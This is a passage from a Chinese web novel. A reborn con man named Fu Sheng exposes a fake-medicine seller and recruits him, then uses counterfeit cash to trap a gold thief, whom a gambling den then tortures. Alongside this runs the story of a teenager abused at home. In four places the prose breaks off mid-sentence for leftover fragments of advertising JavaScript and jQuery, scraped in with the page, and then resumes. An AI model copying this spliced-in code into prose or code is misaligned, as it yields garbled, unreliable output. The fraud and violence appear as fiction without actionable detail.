他知道这个人说得是对的。 刚才闹出的动静,保安绝对不会再让他靠近那些医生。 除非跟着眼前这个人模狗样的人。 只是他不相信这个人会这么好心。 活动结束后,假好心领着他走到诊疗室门口。 陆离不可置信的看向他。 “什么眼神?”傅生挑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眉,“怎么,现在知道你咬的是好人了。” 陆离他从小不喜欢欠别人,好半晌才有些别扭地撇开头,几不可闻地说:“谢谢。” 傅生:“说什么?” “……”陆离又咬着牙说了一遍。 傅生笑了笑:“就口头感谢?” 陆离紧抿着唇:“那你要什么——我现在没钱。” 眼前的这个人也不像是欠钱的样子。 好半晌没听到答案。 陆离:“?” 他皱眉看着站在自己身边的奇怪的男人。 傅生的脸逆在光影里,他似乎想起来什么,黝黑的眼睛竟然带上说不明的情绪,半晌才听他说:“一会跟我见个人。” 就这样? 陆离怀疑看着他,不过没容得他多问,诊室开了门。 陆离看了傅生一眼:“等我出来,就跟你去。” 说完就走了进去。 很快,这一块就剩了他自己,傅生脸上的笑逐渐收了起来。 他看着门上贴着的心理咨询四个字。 陆离这次是来干什么的他心里很清楚。 毕竟十年前他也办过这些,只是他那次来没有成功,因为穿的校服,又旧又破,所以被经理打了一顿丢了出去。 以至于后来的几年,都成为他的一个心病。每次做梦,他都会梦到,若是成功见了医生,结局会不会不一样。 …… 十几分钟后,诊室的门打开了,陆离神色沉沉地从门里出来。 他低着头,睫毛低垂下去,竟然显得有些难过。 傅生对结果并没有多大意外。 走廊上也有和陆离差不多大的少年,唯一不同的是,其他的少年周围都有父母陪着,嬉笑地和父母撒着娇。 只有陆离孤零零地站在门口。 傅生站在不远处看着,连自己都没有察觉他的眉心微不可察的皱了一下。 半晌他抬步朝着科室门口走过去,看着陆离的侧脸,没有丝毫同情心评价道:“被人揍了?脸看起来像馊了。” 陆离难过没了,瞬间恢复臭脸。 他强忍着脾气: “一会儿要去见谁?”。 傅生转身:“你跟着我不就知道了。” 出了广场的大门,两人来到一个停车场——准确地说是一个广场,因为商演被临时改成了停车场。 陆离皱眉,冷冰冰地开口:“你让我跟着你来这做什么?” “不明显吗?”傅生瞥他一眼,“卖人。” 陆离:“……” 竟然一时分不清这个人是不是说的真话。 跟着傅生走的这一路,陆离都戒备地看向四周。 傅生见他谨慎的模样,笑容更大了。 “行了,到了。” 陆离抬头,就是这里? 广场上人不多,前方有个女人,还有个穿白大褂的。 “你这个药真的这么神?”一个大概三十多岁的女士拿着一个瓶子看了几圈,“吃了孩子能聪明提升30分?” 穿着白大褂的医生伸手指了指胸口的胸牌:“我就是华盛集团的医生,要是不管用,你直接来医院找我。” 女人表情出现了一丝挣扎,有了想要购买的欲望。 傅生见此,笑着走过去,对着女人说:“我弟弟吃过这个药。” 卖药的愣了一下,但是看傅生微笑的表情,也不像是砸场子的。 难道是同行? 他决定再观察观察。 女人开口:“真的?效果怎么样?” 傅生对着陆离招手:“来,给这位女士展示一下你吃了这个药的效果。” “……” 陆离的脸瞬间就沉了下。 他以前见过这种骗人的,一边卖假货,一边找托。 这人果然不是什么好人。 陆离紧闭着嘴不说话,只用乌黑的眼睛冷冷地瞪着人。 女人围着陆离来回转了两圈,揪了揪他身上的校服,嘴里嘟囔着:“这也没见多聪明啊。” “确实,”傅生很是坦然,“正如你所见,他就是吃这个药把脑子吃坏的。” 卖药的:“???” 陆离:“……” 5. 第 5 章 女人原本还在纠结,闻言将手里的药扔在地上,唾了一口:“呸,骗子。” 卖药的人见女人头也不回的离开,恼怒地回头瞪着他们两个,看起来非常生气:“你们是同行还是来砸场子。” 他年龄不大,也二十五六岁,架着一副金丝眼镜,文质彬彬还真像个医生,就是脾气不太好。 “你觉得呢?”傅生不仅没有一点歉意,反而还带着笑意,任谁都会觉得他在挑衅。 卖药人脸色发红,显然气得不轻,脑子都气糊涂了,竟然他掏出手机,拨打110:“喂,警察局……” “你确定要报警,”傅生带着笑看他,不紧不慢地开口:“蒋文,二十七岁,家住南宁莲花路377号,以卖假药为生。” 蒋文:“……” 他拿着手机不可置信地看向傅生。 手机里传来了女警的声音:“先生,你是要报警……” 蒋文对着手机说了一句打错了快速地挂了电话。 “你是什么人?”他走向傅生,褐色的眼球一动不动地盯着人,“你——认识我?” 傅生没有回答这个问题,只是转身,背对着人说:“想知道,就跟着我去个地方。” 走出去几步,他又回头,对着冷着脸杵在一边的陆离说:“你还在这里干什么?” 这个人从里到外看着优雅得体,实际上每句话都看起来很欠揍。 陆离说:“你让我见的人我已经见了,你管我。” “人?什么人,”傅生挑了一下眉,“我什么时候说见这个人了?” 陆离:“……” 他以前遇到事,不爽都是揍一架就完事,但是这种脸皮厚的还是头一次见。 他捏紧了手指,最后脸色很臭地跟在傅生后面。 蒋文看着两个人一前一后离开的身影,眼睛眯了一下,他敢保证,眼前的两个人绝对不是兄弟俩,那来他这里演这么一出戏是为了什么? 难道是警察? 但是很快蒋文就打消了这个怀疑,如果真是警察,刚才就直接把他抓起来了。 他推了推眼镜,最后跟了上去。 回去的路不算远,傅大少爷懒得走路,叫了一辆出租车,三个人都坐上去之后,司机是个健谈的,开始没话找话。 “你们是兄弟吗?” 根本就不熟的三个人只有傅生带着微笑地接话:“哪里看出来的?” 司机在后视镜瞥了一眼,评价道:“长得差不多。” 蒋文心说你是瞎了吧。 傅生看着司机,笑了笑道:“是,我们分开好多年了,今天才重逢。” 蒋文侧头睁着眼睛看他,在想这个人为什么比他这个专业骗子还会骗人。 司机很显然相信了他的话,感叹道:“真好啊。感情真好。”他目光又在后视镜里落在陆离身上。 因为只有他穿着校服,身上还有伤,且从一上车就抿着唇黑着脸。 司机充分地发挥了中老年同志的人文关怀:“这个小兄弟没事吧?看上去不开心啊,身上的伤哪里来的,打架了?” 一个接一个地问题,陆离不悦地皱眉。 “是,”傅生却说,“不听话的人就要惩罚才对,您说是吧。” 司机:“……” 傅生平时说话都是不紧不慢的,显得很绅士得体,这次也一样。只是司机从后视镜看着他,脸上带着笑,黑黝黝的瞳仁却冰冷的像是一汪深潭,他下意识打了一个冷战。 不会是人贩子吧?或者变态杀人犯? 越脑补越害怕。 一向能言的司机噤了声,一路上都没有再说一句话。 车子最终停在一家古董店前。 蒋文看向傅生。 刚才一路上的所有的事情他都看在眼里,这个人只用了几句话就让司机情绪上下起伏,这绝对不是一般人能做到的,他重新审视眼前的人。 “这是我的店。”傅生无视他探究的眼神,介绍说。 蒋文又看向古董店,眼前的牌子是红木的,上面字苍劲有力,一看这家店就是大有年头了,只是——他目光落在旁边被打碎的玻璃上。 现在店里没人,玻璃又是碎的,想动点歪脑筋的人轻易地就能进去,何况这家有事古董店,里面的东西万一被人偷几个,损失可想而知。 这老板这么大度的吗? 傅生知道蒋文在想什么。 他笑着将目光落在身边一声不吭的陆离身上:“玻璃昨天不知道被谁砸了,还没来得及修。” 蒋文哦了一声,身后的陆离却捏了一下手指后退了一步,板着脸说:“既然没我事,我走了。” 傅生头也不回,声音平淡:“走吧。” 他今天出门本来就不是因为陆离去的,之前就有人说过他生性冷漠,是个没有心的怪物。 傅生也知道确实如此,不论是对别人,还是对自己。 蒋文看了一眼陆离,又将目光落在傅生身上。 来回转了几圈,确定两个人关系并不好,他怕这小子把自己的事情泄露出去,转身抓着人的袖子,决定威胁一番。 “喂,你这个小子别走。” 陆离回头,非常不耐烦地看着他:“松开。” 年龄不大,脾气挺大。 蒋文抓着人说:“臭小子,我警告今天的事——” 只是话还没有说完,蒋文就看见眼前的人身子晃了晃,倒了下去。 蒋文:“……” 刚遇到骗人的高手,这会儿有遇到碰瓷的? 正在开门的傅生听到动静转身看了一眼,见陆离躺在地上,眉心颦了起来。 蒋文见此对着傅生举起双手:“你可要给我作证,是他自己倒下去的。” 傅生走过去,看着地下躺着的人。 就算是晕倒,陆离的眉心依旧颦着,似乎有什么压在那里,消散不去。 傅生看了半晌,拨了个电话出去。 “嗯,城南古董店门口,尽快,谢谢。”说完,傅生挂了电话,就要回屋。 蒋文不可置信地抬头:“你就把人放这里不管了?” 傅生微笑:“不是打了120了吗?” 蒋文对着他竖了竖大拇指。 可真够冷漠无情的。 十分钟后,蒋文费力地将人拽进了房间里。 傅生坐在沙发上:“现在又不怕被讹上了?” “怕啊,”蒋文将人放在沙发上,“在外面不管万一出点事,还不是一样被讹,这好事能做一点就多做一点。” 傅生:“有这个思想觉悟你竟然还去卖假药。” “哎,”蒋文长长地叹了一口气,“这不是为了生计。” 陆离被平放在沙发上。 动作间,蒋文看着他衣服里面掉出来一个黑绳,下面吊着一个玉坠子。 他端详了片刻,惊叹道:“你这是从哪里找的小孩,竟然随身带着这个,这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 玉坠可是好东西。” 玉由两条蛇首尾咬在一起,围成了圆圈,光看玉的光感和透度就知道肯定值钱。 傅生并不惊讶,看了片刻,就收回了目光。 这个玉是他奶奶临走的时候给他的,上一世他珍惜地护了好久,当然最后没有护住。 甚至因为这个东西,付出了代价。 他垂了一下眼掩下情绪,这时,救护车的声音在外面响起来。 几个穿着白大褂的人走进来,又是测血压,又是量体温。 “这孩子是你们什么人,怎么烧成这样才打电话。”拿着体温表的医生呵斥。 “不认识,”傅生抬头,“在路上捡的。” 医生:“……” 原本还要再呵斥两句的,却被傅生一句话噎在嗓子口。 谁家好人捡着孩子玩啊。 他顿了一下才说:“病人发烧38°5,没发现别的状况,等他醒了,让他去买点药或者打针。” 蒋文说:“你们不带着他去医院?” “去医院有什么用,不也是吃药打针,”医生不耐烦说,“你以为这么大的北川就这一个病号,现在医院里病危的病人都得加床。” 蒋文:“……” 这医生还不如他这个药骗子服务到位。 急救车来得慢又走得也快,几分钟就看不见影了。 陆离闭着眼躺在沙发上,蒋文看了一眼,傅生说:“别看了,死不了。” 蒋文无语地撇了撇嘴,觉得自己就是闲的,关心一个和他毫无关系的人。他将眼镜拿下来擦了擦,又戴上:“现在可以说了吧,找我来干什么?” “谈一下合作,怎么样?”傅生开门见山。 蒋文震惊地看着他:“你知道我是干什么的吧?” 一个古董店的老板竟然和他这个卖假药的合作,疯了? 傅生不紧不慢地开口:“光靠卖假药可挣不到什么钱,但我可以带着你站在这个行业的顶峰。” 蒋文被傅生的话震惊到了,若是别人这么说他肯定觉得他吹牛逼,但是傅生开口,却让他有一种这个人真能做到的感觉。 尽管这个人年龄看起来也不过二十岁。 傅生看着蒋文的神色:“我可以给你时间考虑。” “试试?”蒋文说,“我凭什么相信你?” “当然,信不信是你的权利,”傅生说,“不过我的时间有限,要不要做在你。” 蒋文心里犯起了嘀咕。在想这个人是不是骗子。 但自己似乎没有什么好骗的。 他看着这张好看的脸,又见他从容稳定的样子,竟然点下头去。 一直到他出了古董店,被外面风一吹,他才醒神过来。 “不是,我怎么就同意了?” * 陆离再次醒来的时候,只觉得脑袋昏沉沉的。 他皱着眉起身,看着周围的环境大脑空白,一时不知道自己在哪里。 直到身边一道很熟悉的声音响起。 “醒了?” 陆离转头,这才看到傅生双腿交叠靠坐在沙发上,看着手中的报纸头也不抬,不冷不淡地说:“昨天砸了我玻璃,今天又晕倒在我店门口,”他顿了一下,将眼睛在报纸上移开,抬头看人。 “这是——赖上我了小鬼?” 谁赖上他,在讲什么屁话。 有那么一瞬间,陆离其实有点想把他另一块玻璃也砸了。 6. 第 6 章 虽然傅生说话是有点欠。 但陆离看着满地的玻璃碴,又看着窗户上缺失的玻璃其实是有些后悔的。 他从小做了错事,就喜欢抿着唇,乌黑的眼睛低下去不敢看人。尤其是那双手指,喜欢掐在自己的手心。 而且人越别扭,他脸色就越臭。 傅生看着陆离现在紧紧掐着的手指,眼睛眨了一下。 这些毛病,在他辍学之后,被自己强行改正过来,毕竟骗人的时候,不可以露出一点破绽。 陆离知道自己刚才晕了,现在又出现在傅生店里,不用想也知道谁把他弄进来的。 但他软不下来道谢,只能瘫着脸说:“玻璃是我砸的,你说吧,怎么赔。” 傅生看着陆离别扭的模样,倏然笑了:“原来是想赔偿,我还以为你刚才是要把我店砸了呢。” 陆离:“……” 那点歉意瞬间没了。 他拉着脸在沙发起身,转身就走,但因为发热,脚底踉跄了一下,扶着门框的时候胳膊上的衣服被撩到手腕,露出里面青一块紫一块的痕迹。 傅生盯着那些伤痕,走神了一瞬间,再回神时,声音已经比大脑先一步喊住了:“等等。” 这声音出口,他自己都愣了一下。 但很快他就回过神来,恢复之前的神色,看着人问:“起来就跑?” 陆离回头皱着眉看他,像是欠他八百万的模样,非常不爽:“有事快说,有——” 他看着傅生好看的脸,后半句不太文明的话被他咽了下去。 傅生笑着说:“没别的事,就是问问你之前有没有因为说话被打过。” 陆离:“……” 他现在就想打人。 刚想黑着脸转身出去,结果傅生走了几步:“行了,不逗你了。” 他说着,低头在旁边的抽屉里翻出一个东西,低头看了一眼后,朝着陆离扔了过去。 “接着。” 陆离皱眉,却下意识地接住,伸手一看,竟然是一盒治疗外伤的药。 这人喊着他是为了给他药? 他的臭脸有点维持不住了,抬头看了一眼傅生,抿了一下唇,一句话没说,拿着药跑出了古董店。 “连声谢谢也不讲,没礼貌。” 傅生摇头笑了笑,又坐在了沙发上。 陆离一走,房间里只剩下他一个人,整个房间异常安静。 傅生听着自己的呼吸声,坐在沙发上。他对自己刚才的行为也有点意外。 这样的恻隐之心已经很多年没有动过了。 可能——只是想给曾经的自己一点点补偿吧。 傅生手指捻了一下。 作为顶级骗子,最忌心软,无论是对自己,还是对别人。 啧。 这可有点不妙啊。 * 傅生找到蒋文的时候,这个人又在商场穿得人模狗样地装成了社会成功人士在给一些刚出社会的小年轻洗脑。 “你想一夜暴富吗?”他看着那几个目光清澈的大学生。 大学生疯狂点头。 “你想一夜成名吗?”蒋文又问。 傅生混进了人堆里,隐藏得还行。 蒋文:“那你们知道怎么像我一样能以最快的速度成为成功人士吗?” 从他的视角看过去,所有人都摇着头,跟拨浪鼓似的,看着这群脸他觉得这次就算不是满载而归,也会骗得盆满钵满,只有一道熟悉的声音在人群里说:“知道。” 蒋文瞬间有了一种不好的预感,顺着声音看了过去,果不其然傅生身高腿长正在人群中,正弯着眼睛笑着看他。 呸,出师不利。 怎么又是他。 蒋文在心里偷偷骂了一声,他堆起假笑,原本想把傅生忽略过去,人群却朝着傅生看了过去,纷纷询问:“怎么做?” 傅生笑,蒋文心里瞬间拉起了警钟。 这小子绝对又没憋好话。 “很简单,”傅生说,“从商场出发,出门右拐五十米,看见个门走进去。” 有人问:“那是什么地方。” “酒店吧。” “去酒店干什么?” 众人七嘴八舌,傅生只是笑着不说话,蒋文气地咬了咬牙,知道这次又骗不成了,说的话像是在牙缝里蹦出去的:“他的意思是让你们洗洗睡吧,梦里什么都有。” 众人:“……” 蒋文将外套脱下来,随着傅生向外走,实在没忍住,问道:“我真的没有得罪过你吗?” 傅生回头看着他:“怎么这么问?” “不是兄弟,我每次都要骗到手的时候,你都要出现,”蒋文说,“你知不知道断人财路等于杀人父母?” “你是孤儿,”傅生说,“没人可杀。” 蒋文脚步顿了一下,眼皮一沉:“你这都知道?” “我知道的远不止这些,”傅生步履优雅地走着路,期间还扶了一把过马路孕妇,说话看上去非常的绅士有风度,“小心点。” 孕妇连忙说了几声谢谢。 他腿长,蒋文快走了几步才跟上他,他压低声音问:“你到底是什么人?不会真是条子吧?” 傅生斜着眼睛瞥他一眼,悠悠地道:“你知道诈骗的最高境界是什么吗?” 蒋文一愣:“是什么?” 傅生看了一眼几乎东边几乎要连成一条线的海域:“当所有人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都相信了谎言,那就是真相。” 蒋文:“嗯?” 傅生眼神带笑:“一个前辈的名言。” “哪个鬼前辈这么扯?”蒋文说,“不会是在精神病医院跑出来框你的吧?” 傅生神色复杂地看了他一眼。 头一次见到有人这么骂自己的。 蒋文没看懂他这个眼神是什么意思,又问:“你不是说和我合作一次让我看看你的实力吗?什么时候开始。” 傅生:“这不是要去。” 蒋文看着傅生带他走的地方:“你带我来商场做什么?” “这里面有个金店。” “不是吧,一开始就玩这么大的?”蒋文瞪大了眼睛,看了看四周又压低了声音,“你要去里面诈骗……金子,这不太好吧?” 傅生笑了:“怎么,你怕了?” “怕倒是没怕,”蒋文强壮着胆子,咳嗽一声,“我就是担心惊动警察。” 傅生看了一眼蒋文,笑着走进了金店里。 蒋文脸上露出纠结的神情,看着傅生的背影,一咬牙也进了店里。 大不了在局子里蹲几天。 两个人刚进门,一个穿着营业员制服的小姑娘就走了进来,脸上露出无助:“傅先生。” 傅生点了点头,目光在金店里看了一圈:“今天又来了?” “嗯,”小姑娘说,“刚走了。” 傅生目光在店里看了一圈,没有看到监控,这个年代很多监控摄像头还没有普及,他看向营业员:“我让你拍的照片拍了没有。” 小姑娘点点头,拿出当时流行的翻盖手机。她打开相册,按了几个键盘,上面很快显示出一个矮小男人的脸。 傅生将照片里的人记住:“就他一个人?” 小姑娘点头,眼睛里委屈的泪都快要出来了。 蒋文看着这些有些迷糊,不是来诈骗的,现在是什么意思? 傅生看他一头雾水的样子,也不解释,在店里拿了一个手提箱子走了出去,蒋文瞥了一眼,看到里面有红色的大钞在他眼前一晃而过。 靠,这么多钱。 蒋文凑近了看,却被傅生塞给他怀里一个东西。 蒋文眼中一亮,本以为是钱,低头才看清楚是一张纸板。 尤其是看清楚纸板上的字以后,他整张脸都瘫了下来。 纸板写着:“给点饭吃,实在没有的话馒头也行。” “咱们到底去干吗?”蒋文问。 傅生声音毫无起伏:“诈骗啊。” 蒋文:“……” 你要不听听自己在说什么? 拿着一兜子钱去诈骗谁? 要不来诈骗我吧。 7. 第 7 章 张四走在路上,整张脸上都藏不住的得意,他在自己口袋里掂了掂,摸到怀里金子的重量,脸上的笑容更大了。 口袋里是他这几天攒来的,数量已经不少了。 他咧着嘴,盘算着今天晚上再去哪里赌一把。 “砰。” 只是刚走过拐角,他就被撞了一下,那人手中不知道拿着什么,猛然撞在他的额头上。 张四捂着脸开始破口大骂:“我操,你他妈的没长眼是吧?” “抱歉啊,不好意思,没伤到吧?”一道礼貌的声音响起。 张四看过去,看见一位穿着西装,身材英挺的男人提着手提箱,一脸担心地看着他。他的目光又看向手提箱。 因为刚才被撞了一下,箱子口微微错开,露出里面的百元大钞。 这一箱子都是放的钱? 张四的眼睛盯着箱子都看直了。 他眼珠子转了转,露出贪婪,他捂着额头,一脸恶狠狠地对着男人吼道:“我的头被撞了,你得赔。” 男人一脸歉意地看着他:“应该的,不过我现在没有钱。” “取?”张四想了想,“你家在哪里?你这个箱子里不是有钱吗?” “抱歉,”英俊的男人拿着箱子,“这个箱子里的钱我还有用,要不你先去医院检查一下,等我忙完去医院找你?” “那不行,”张四说,“万一你跑了怎么办?” 男人叹了一口气:“那好吧,那要不你跟我回家取一趟?” 张四眼睛落在男人价值不菲的衣服上。 回家?若是可以在他家里捞点其他东西那不就赚大了。 “那好吧。”他装作为难的样子。 张四跟着男人向前走。 两个人拐了好几个弯,位置越走越偏。 张四不耐烦地问:“你家这么偏?还没有到?” 男人不急不躁:“快了。” 两个人正说着,突然听见前方有个人在呻吟。 朝着那边看过去,只见一个乱糟糟的人跪在地上,衣服和头发几乎盖住了整张脸,看不清面容。 但他身边放着个牌子:“给点饭吃,实在没有馒头也行。” 张四向来没有同情心,看见这种乞讨的他只暗骂一声老东西。 本想径直地离开,身边的男人却提着手提箱走了过去。 “老人家?你怎么了?” 那个男人是个哑巴,啊啊啊地用手比画了几下。男人看不懂,目光放在旁边的牌子上。 他似乎想要掏钱给这个乞丐,但手在兜里翻了翻却什么都没有翻到,只好看向张四。 张四眼睛一瞪:“你看我干吗,我可没有闲钱给他。” “我今天出门急,没有带现金,”男人说,“你若是有的话,能不能先帮我垫上,等我回家我双倍给你。” 双倍。 张四没想到人傻钱多的冤大头也被他遇到了,他眯成一条缝的眼睛精明地计算着:“你说的真的?” “真的。”男人说 张四笑了,伸手在自己上下翻了一圈,除了兜里那些金子,他也没有带钱。 但这种发财的好事他又不愿意放过。 “我也没带现金,金子行不?” “行,”男人说,“我可以折现给你。” 张四一听,唰唰地将怀里的金项链全都掏出来,放到了乞丐前边的盒子里,放完了还不忘提醒男人:“这么多,别忘了。” 男人微笑地点头:“应该的。我们现在回去取。” 就在他们说着话时,那个老乞丐倏然啪的一声头朝下摔在地上。 “我草,”张四被吓了一跳,“吓死老子了。喂,老东西,刚给了你钱不会是想讹人吧?” “估计是发病了,”身边的男人一边说,一边将手中的那个手提箱递给张四,“你先帮我提着,我送他去医院。” 说着,扶起了身边的乞丐就走。很快,巷子里就剩下张四一个人,他看着这个装着钱的箱子,又看着男人和乞丐离开的方向,快速地回过神来。 打开一看,果然是满满的钞票。 张四欣喜若狂,唯恐那个冤大头找回来,提着钱快速地离开了巷子。 等人走远了,巷子里才走出两个人。 蒋文很是嫌弃地扯掉了头上的假发,抱怨道:“真是演死我了。他就这么拿着钱水灵灵地离开了?” 傅生笑着看了他一眼:“走了,回去交差。” 蒋文不明白这叫什么交差,赔了夫人又折兵? 拿钱换金子? 他一脸不解地跟上傅生,直到两个人路过地下赌坊。 刚才还小人得志的张四被几个穿着黑衣服的打手扔了出来。 “敢在我们这里用假/钞,”姜龙叼着烟走出来,居高临下地看着人,“你是不是活得不耐烦了?” 张四的眼睛本来就小,现在更是肿得缝都快看不见了,他趴在地上妄图解释: “这不是我的钱,是刚才一个人给我的。” 姜龙俯身,将还冒着火星的烟头按在张四胳膊上:“我管你钱怎么来的。” 接着就是张四歇斯底里的惨叫。 傅生只看了一眼,就一脸平静地在那边走了过去。 张四不小心抬头,扯着嗓子喊:“是他,就是他骗了我。” 姜龙看都不看,一把抓住他的头发:“用假/钞的下场,你知道吗?” 张四挣扎得更大了,声音破了音:“别砍我手,求求你了,别砍我的手。” 蒋文听着后边戏剧的一幕,快走了几步赶上了傅生的步子。 “你刚才用的假/钞?” 傅生像看傻子看他一眼:“怎么,你骗人用真钞?” 蒋文被噎了一下。 两个人重新回到刚才的金店,将金子交给了营业员小姑娘。 蒋文这才了解了来龙去脉。 小姑娘周六值班,见张四前来买金子,一出口就是要店里最大最重的。她以为是大客户,一点不敢怠慢,抓紧将店里的符合他要求的款式都拿出来供客人挑选。 谁知道这个张四看来看去,看了半晌,一条都没有买。 小姑娘原本还以为是他没有相中款式,直到人走了,她检查货的时候,才发现这些金子竟然都成了假的。 她将这件事报给了老板,老板却让她把金子的钱补上。 一个小小的营业员,哪里有这么多钱,小姑娘差不多把自己的积蓄都填上才补上这个窟窿,可是没想到那个张四又来了。 老板又不让向外赶客,几乎要崩溃的小姑娘坐在花园的一个台阶上哭,还差点动了轻生的念头,幸好遇到了傅生。 蒋文对傅生眨眼:“没看出来你还挺怜香惜玉的。” 傅生没理他,看向营业员:“下次再看到可疑的人,先用手机录下来保存证据。” 小姑娘疯狂点头,见傅生转身要走,忙不迭开口:“傅先生,谢谢你帮我,我能请你吃顿晚饭吗?” “好啊好啊,吃什么?”蒋文在旁边开口。 傅生斜眼瞥他一眼,转头客气道:“谢谢,我晚上还有事,再见。” 出了门,蒋文叹了一口气:“你这个人,刚夸完你怜香惜玉,结果转头就把别人拒绝了?你没见小姑娘眼睛里,一下子暗下来了。” 傅生眸眼漆黑,看向他:“你很闲?” 蒋文愣了一下。 感觉这一幕异常熟悉。 按理说,他和傅生才见过两面,他的性格应该对他多加防备才是。 但是不知道为什么,他却觉得和傅生像是多年的老朋友那样。 等他回神的时候,傅生已经走出去好几米了,他看着那道挺拔的背影,追了上去。 “喂,不去就不去,等等我。” 回到古董店,正是下午,整个房间格外亮堂。 傅生坐在沙发上,双腿交叠,拿着今天的报纸看。 蒋文坐在他旁边,嘴也没闲着:“你说之前带我挣大钱,怎么挣?” 经过今天,他已经完全相信了傅生的能力。 诈骗张四这件事看起来简单,但是却需要对人物心理的极度把控还有对各方个面的精准的安排。 这种人,做什么不成功? 傅生将报纸向下移,看他:“想好了?” 蒋文说:“有钱不挣王八蛋,兄弟我想好了,从此就跟着你混了。” 傅生:“不怕我骗你?” “我有什么好骗的,”蒋文一脸谄媚,“下一票,我们去哪?” 傅生将报纸平铺在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 桌子上,指了指其中一个标题,蒋文探头看过去,念出声:“近日,恒水建筑发生工人跌落造成死亡事件,死者农村出身,在北川打工,死者家属索要钱款,建筑公司拒不赔偿。” 蒋文:“下一票是这家公司?” 傅生:“嗯。” 蒋文:“这个公司的老板郑顺昌可是北川排得上号的富人,我们怎么接触得到?” 这个要是能干成,他们好几年不用愁吃喝。 问题就是见不到人。 “郑顺昌这个人最爱收藏古玉,”傅生声音平淡,是他惯用的表情。 蒋文眼睛一亮:“你是说拿着古玉接近他?” 他抓紧起身,在傅生的古董店里快速地找了起来。 架子上放了一排古玉,还愁找不出一块能吸引郑顺昌的。 他兴致冲冲地翻找,傅生却开口:“别找了。” 蒋文抬头疑惑:“你不是说拿着古玉去接近他吗?” 说完,他恍然:“哦,是不是不舍得了?” “不是。” “那是什么?” 傅生:“这里的玉要不质量太次,要不就是假的。” 蒋文找玉的手愣住了。 他无语片刻,还是没忍住。 “合着你这里的古董店是个摆设啊。” “是啊,”傅生笑笑,毫不在意,“不然我闲得没事搞诈骗?” 他刚来到这个古董店的第一天,就看出来这家店里的东西多半是假的,也难怪傅生开张半年一件也卖不出去。 蒋文:“……” 这话没法反驳。 他叹了一口气,瘫在沙发上:“那怎么办?” 两个人坐在沙发上,蒋文愁眉苦脸,傅生表情却始终维持得一样,没有多大的变化。 蒋文看向他:“你是不是还有其他主意。” 傅生不置可否,静静地看着他,半晌才缓慢道,“虽然我现在没有,但要想质量上乘的玉也不难。” 他没说全,但是蒋文竟然知道他在说谁,他瞪大眼睛,提高声音:“你要去诈骗那个小鬼?” 傅生笑了:“别说这么难听,怎么能叫骗呢?” “不见骗叫什么?”蒋文问。 傅生面不改色:“对小孩,那叫哄。” 蒋文:“.......” 他终于知道自己为什么挣不到钱了。 因为他没这么厚脸皮。 * 傍晚,陆离穿着校服回去,松里弄堂里已经坐满了人。 里面环境杂乱,叽叽喳喳的。 陆离将卫衣的帽子戴上,盖住脸上的伤,头也不抬地在人群中穿过去。 走到楼下的时候,钱姨喊住他:“陆家小子,放学了?” 陆离闷声应了一句。 刚想爬楼,钱姨拽住了他的袖子。 陆离回头看了一眼,眉眼压得很低,在昏沉的楼梯口显得戾气特别重。 钱姨显然被吓到了,她抓着陆离的袖子一松,却还是壮着胆子说:“小陆,钱姨家的房子租出去了,就你楼上。” 租出去了? 陆离有些惊讶,惊讶还有人敢租那间房子。 “回头啊,你和你爸说一声,”钱姨不敢找赵国强,只能对着这个小一点说,“楼上有点声音很正常,别让他再骂人砸人家房门去了。阿姨挣点钱不容易。” 从陆离记事开始,赵国强已经赶走了楼上三四次住户了。每次喝了酒都去砸人家的门,每次砸门,都要闹得“不死不休”。 附近人都知道,所以楼上那间房子一直空着。 这次不知道是谁住进来了,又能撑多久。 陆离眼睛眨了一下,手指捏着掌心。 看来他们家不论在哪都是麻烦的存在。 “我知道了,我会给他说。”他垂眸盖住情绪,转身上楼。 钱姨看着他的背影不忘嘱咐:“别忘了哈。” 房子老旧,旁边的扶手生了锈。 陆离避开铁锈,上到二层,站在自家门口时,他鬼使神差地向楼上望了一眼。 只见此时,楼道的拐角处,被夕阳拉出一道长长的影子。 陆离看着影子抿了一下唇。 因为他见鬼地觉得这个影子有点眼熟。 8. 第 8 章 陆离挪了一下脚,想上去看一眼。 “啪”的一声,房间内传来了东西摔碎的声音。 陆离心下一滞,再也顾不得其他,开门的时候拿着钥匙在锁上插了好几下都没有插进去。 慌乱地进门,陆离朝着里屋冲进去,直到看到地上的女人,脸上又多了新的青紫,陆离的拳头捏起来,眸子里满是戾气:“他又打你了?” 苏梅坐在地上低垂着头不说话,散乱的头发遮住苍白的脸。 陆离看着他,手指几乎要将掌心掐破,半晌,他将书包甩在一边,走到桌子上拿起酒瓶,转身朝着房间外走。 刚走了几步,裤腿就被人抓住。 陆离沉声:“松开。” 苏梅终于有了反应,声音嘶哑:“你要去干什么?” 陆离的眼睛被头发半遮住,狠声道:“和你没关系。”说着起身向外走。 “你不能去,”苏梅死死抓住陆离的胳膊,“他打我是因为我做错了,你别去找他。” 陆离听着苏梅的话,手几乎要发抖,好半晌他才找到自己的声音:“你甘愿被他打死,狗一样地活着是吗,你看看你现在都成什么样子了?” “我成什么样子?我一直都是这样子,”苏梅手掐着陆离的手,眼中的血丝越来越深,表情逐渐癫狂,“都是因为你,都是因为你他才会对我这样,你这个累赘废物。你怎么还不去死。” 陆离的手捏着瓶子。 苏梅已经不是第一次这么说他了,再次听到,还是像被什么东西扎了一下一样。 “行,”陆离垂着眼,用异常平静的声音说,“等我杀了他,我就一起去死。” “我怎么生了你这么个东西。”苏梅对着陆离又咬又掐,两个人的动静终于惊动了赵国强。 他刚睡醒,眼睛混沌地看向房间:“吵你妈呢,还让不让老子休息了。” 说着,他目光下移,瞥到了陆离手中的酒瓶子,“你拿着酒瓶子想干什么?你想打老子?” 苏梅的手劲不大,陆离挣脱他轻而易举,赵国强看着他提着酒瓶子过来笑了起来,仿佛是什么好笑的事。 他伸过头去对着陆离:“来,朝这砸。砸死我。” 陆离提起瓶子,想也没想就要砸下去,苏梅在身后尖叫:“陆离!” 赵国强嘿嘿的笑,露着一口黄牙。 陆离不想听,直到身后再次传来那声:“你今天要是打下去,我就当从来没有生过你这个儿子。” 